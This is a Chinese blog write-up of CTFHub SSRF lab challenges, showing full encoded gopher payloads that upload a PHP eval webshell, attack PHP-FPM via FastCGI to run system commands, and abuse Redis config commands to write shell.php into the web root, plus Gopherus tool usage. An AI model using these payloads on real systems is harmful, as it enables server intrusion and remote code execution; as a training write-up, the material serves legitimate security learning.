CTFHUB技能树——SSRF(二)

2024-05-25 03:04
文章标签 技能 ctfhub ssrf

本文主要是介绍CTFHUB技能树——SSRF(二),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

上传文件

​FastCGI协议

Redis协议


上传文件

题目描述:这次需要上传一个文件到flag.php了.祝你好运

index.php与上题一样,使用POST请求的方法向flag.php传递参数

//flag.php页面源码
<?phperror_reporting(0);if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){echo "Just View From 127.0.0.1";return;
}if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){echo getenv("CTFHUB");exit;
}
?>Upload Webshell<form action="/flag.php" method="post" enctype="multipart/form-data"><input type="file" name="file">
</form>

意思是需要在本地上传且文件不能为空,这里缺了一个提交按钮,F12添加一下

<input type="submit" name="submit">

传入一句话木马,bp抓包

进行第一次URL编码

 %0A修改为%0D%0A

编码三次后,构造payload:

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520challenge-fb16eba286308f94.sandbox.ctfhub.com%25253A10800%25250D%25250AUser-Agent%25253A%252520Mozilla/5.0%252520%252528Windows%252520NT%25252010.0%25253B%252520Win64%25253B%252520x64%25253B%252520rv%25253A126.0%252529%252520Gecko/20100101%252520Firefox/126.0%25250D%25250AAccept%25253A%252520text/html%25252Capplication/xhtml%25252Bxml%25252Capplication/xml%25253Bq%25253D0.9%25252Cimage/avif%25252Cimage/webp%25252C%25252A/%25252A%25253Bq%25253D0.8%25250D%25250AAccept-Language%25253A%252520zh-CN%25252Czh%25253Bq%25253D0.8%25252Czh-TW%25253Bq%25253D0.7%25252Czh-HK%25253Bq%25253D0.5%25252Cen-US%25253Bq%25253D0.3%25252Cen%25253Bq%25253D0.2%25250D%25250AAccept-Encoding%25253A%252520gzip%25252C%252520deflate%25250D%25250AContent-Type%25253A%252520multipart/form-data%25253B%252520boundary%25253D---------------------------396330150721127131974217416617%25250D%25250AContent-Length%25253A%252520389%25250D%25250AOrigin%25253A%252520http%25253A//challenge-fb16eba286308f94.sandbox.ctfhub.com%25253A10800%25250D%25250AConnection%25253A%252520close%25250D%25250AReferer%25253A%252520http%25253A//challenge-fb16eba286308f94.sandbox.ctfhub.com%25253A10800/%25253Furl%25253Dfile%25253A///var/www/html/flag.php%25250D%25250AUpgrade-Insecure-Requests%25253A%2525201%25250D%25250APriority%25253A%252520u%25253D1%25250D%25250A%25250D%25250A-----------------------------396330150721127131974217416617%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522file%252522%25253B%252520filename%25253D%2525221.php%252522%25250D%25250AContent-Type%25253A%252520application/octet-stream%25250D%25250A%25250D%25250A%25253C%25253Fphp%25250D%25250A%252509%252540eval%252528%252524_POST%25255B%252527line%252527%25255D%252529%25253B%25250D%25250A%25253F%25253E%25250D%25250A-----------------------------396330150721127131974217416617%25250D%25250AContent-Disposition%25253A%252520form-data%25253B%252520name%25253D%252522submit%252522%25250D%25250A%25250D%25250A%2525E6%25258F%252590%2525E4%2525BA%2525A4%2525E6%25259F%2525A5%2525E8%2525AF%2525A2%25250D%25250A-----------------------------396330150721127131974217416617--

 传入得flag

FastCGI协议

题目描述:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写-CSDN博客

工具准备:Gopherus、python2

GitCode - Gopherus

git clone https://gitcode.com/tarunkant/Gopherus.git
apt install python2

配置完成后,运行 gopherus.py 脚本

python2 gopherus.py --exploit fastcgi

选择一个当前存在的php页面,这里选主页index.php,命令执行ls查看目录

再cat查看flag

获得payload,再进行两次URL编码

但是没有flag

应该是flag字符串被过滤了,使用f*绕过

得到payload,再URL编码两次

最终payload:

?url=http://127.0.0.1:80/index.php?url=gopher%253A//127.0.0.1%253A9000/_%252501%252501%252500%252501%252500%252508%252500%252500%252500%252501%252500%252500%252500%252500%252500%252500%252501%252504%252500%252501%252500%2525F6%252506%252500%25250F%252510SERVER_SOFTWAREgo%252520/%252520fcgiclient%252520%25250B%252509REMOTE_ADDR127.0.0.1%25250F%252508SERVER_PROTOCOLHTTP/1.1%25250E%252502CONTENT_LENGTH59%25250E%252504REQUEST_METHODPOST%252509KPHP_VALUEallow_url_include%252520%25253D%252520On%25250Adisable_functions%252520%25253D%252520%25250Aauto_prepend_file%252520%25253D%252520php%25253A//input%25250F%252509SCRIPT_FILENAMEindex.php%25250D%252501DOCUMENT_ROOT/%252500%252500%252500%252500%252500%252500%252501%252504%252500%252501%252500%252500%252500%252500%252501%252505%252500%252501%252500%25253B%252504%252500%25253C%25253Fphp%252520system%252528%252527cat%252520/f%25252A%252527%252529%25253Bdie%252528%252527-----Made-by-SpyD3r-----%25250A%252527%252529%25253B%25253F%25253E%252500%252500%252500%252500

得到flag

也可以ls /查看根目录,然后再URL编码两次 放进url可见flag的文件名,cat读取即可得到flag

Redis协议

题目描述:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

还是使用Gopherus脚本:

python2 gopherus.py --exploit redis

选择php,默认路径,payload 为一句话木马:

<?php @eval($_POST['cmd']); ?>

将生成的payload再进行两次URL编码

最终payload得:

?url=http://127.0.0.1:6379/index.php?url=gopher%253A//127.0.0.1%253A6379/_%25252A1%25250D%25250A%2525248%25250D%25250Aflushall%25250D%25250A%25252A3%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%2525241%25250D%25250A1%25250D%25250A%25252434%25250D%25250A%25250A%25250A%25253C%25253Fphp%252520%252540eval%252528%252524_POST%25255B%252527cmd%252527%25255D%252529%25253B%252520%25253F%25253E%25250A%25250A%25250D%25250A%25252A4%25250D%25250A%2525246%25250D%25250Aconfig%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%2525243%25250D%25250Adir%25250D%25250A%25252413%25250D%25250A/var/www/html%25250D%25250A%25252A4%25250D%25250A%2525246%25250D%25250Aconfig%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%25252410%25250D%25250Adbfilename%25250D%25250A%2525249%25250D%25250Ashell.php%25250D%25250A%25252A1%25250D%25250A%2525244%25250D%25250Asave%25250D%25250A%25250A

访问页面显示504,但已经上传成功了 shell.php已经写入

访问shell.php,连接蚁剑得到flag。

这篇关于CTFHUB技能树——SSRF(二)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1000301

相关文章

生信代码入门:从零开始掌握生物信息学编程技能

少走弯路,高效分析;了解生信云,访问 【生信圆桌x生信专用云服务器】 : www.tebteb.cc 介绍 生物信息学是一个高度跨学科的领域,结合了生物学、计算机科学和统计学。随着高通量测序技术的发展,海量的生物数据需要通过编程来进行处理和分析。因此,掌握生信编程技能,成为每一个生物信息学研究者的必备能力。 生信代码入门,旨在帮助初学者从零开始学习生物信息学中的编程基础。通过学习常用

CTFHub技能树-Git泄漏-Index

目录 一、Git索引(Index)的基本概念 二、解题过程 主旨:使用git泄漏恢复源代码 方法一:使用GitHack手动恢复 方法二:直接使用Git_Extract获取网站源代码拿去flag   当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的Gi

作为刚从事Java开发的小白,需要掌握哪些技能

作为一个刚踏入Java开发世界的小白,面对各种技术和工具,你可能会觉得有点不知所措。但是别担心,我会给你一个简单清晰的路线图,让你可以有条不紊地掌握基本技能,逐步成长为一名Java开发者。 1. 扎实的Java基础 Java的基础是你迈向高级开发的重要基石,建议从以下几个方面着手: 语法和基础概念:比如变量、条件语句、循环、方法、数组、面向对象编程(OOP)等等。这些基础如同建房子的地基,越

COI实验室技能:图像到图像的深度学习开发框架(pytorch版)

Basic deep learning framework for image-to-image 这个开发框架旨在帮助科研人员快速地实现图像到图像之间的模型开发。 github连接:https://github.com/SituLab/Basic-deep-learning-framework-for-image-to-image 目录 1模型开发 1-1克隆项目到本地1-2深度学习开发

面试必备技能-HiveSQL优化

Hive SQL基本上适用大数据领域离线数据处理的大部分场景。Hive SQL的优化也是我们必须掌握的技能,而且,面试一定会问。那么,我希望面试者能答出其中的80%优化点,在这个问题上才算过关。 Hive优化目标 在有限的资源下,执行效率更高常见问题 数据倾斜map数设置reduce数设置其他 Hive执行 HQL --> Job --> Map/Reduce执行计划 explain [ex

UI 自动化技能:20个实战技巧!测试工程师必看!

大家周五 好啊!忙碌了一周,又可以懒洋洋躺在沙发上了~~~ 又到了每年的金九银十了,今天聊聊如何提升UI自动化话题... 你是否在求职过程中感受到UI自动化的技能不足? 随着测试行业的发展,UI自动化测试已成为每位测试工程师的必修课。无论你是想提升现有的测试效率,还是在找工作中获得竞争优势,掌握UI自动化技能都能为你带来巨大的帮助。那么,如何快速提升这些技能呢? UI(用户界面)自

技能-ShardingSphere做数据库的读写分离,集成到SpringCloud项目中

1.ShardingSphere Sharding参考资料地址 2.集成项目为SpringCloud的项目 3.集成步骤 3.1. POM依赖引入 <!-- 数据库读写分离 --><dependency><groupId>org.apache.shardingsphere</groupId><artifactId>shardingsphere-jdbc-core-spring

副本技能-Amazon开放平台MWS的API接入

Amazon官方工具各类地址 亚马逊订单提供接口调试地址: https://mws.amazonservices.com/scratchpad/index.html 亚马逊MWS 端点及MarketplaceId查询地址: http://docs.developer.amazonservices.com/zh_CN/dev_guide/DG_Endpoints.html 亚马逊MWS官方开发者文

副本技能-maven打包仓库常用配置与上传指定制品仓库

1.找到本地Maven的配置文件settings.xm 2.配置setting文件中的服务器远程仓库地址 <servers><!-- 正式包仓库 --><server><id>xt-releases</id><username>UTmQqF</username><password>******</password></server><!-- 开发中的镜像包仓库 --><server><id>x

副本技能-亚马逊SP-API的依赖SDK包生产

1.环境配置 需求:Java环境,Maven环境,均需配置环境变量(可自行百度)! 2.下载api的接口模块代码 selling-partner-api-models项目GitHub库 3.下载 Swagger 代码生成器 Swagger代码生成器下载地址 自己找个目放着就好 4.查找SDK的配置JSON文件 SDK的接口配置JSON路径:selling-partner-api-mo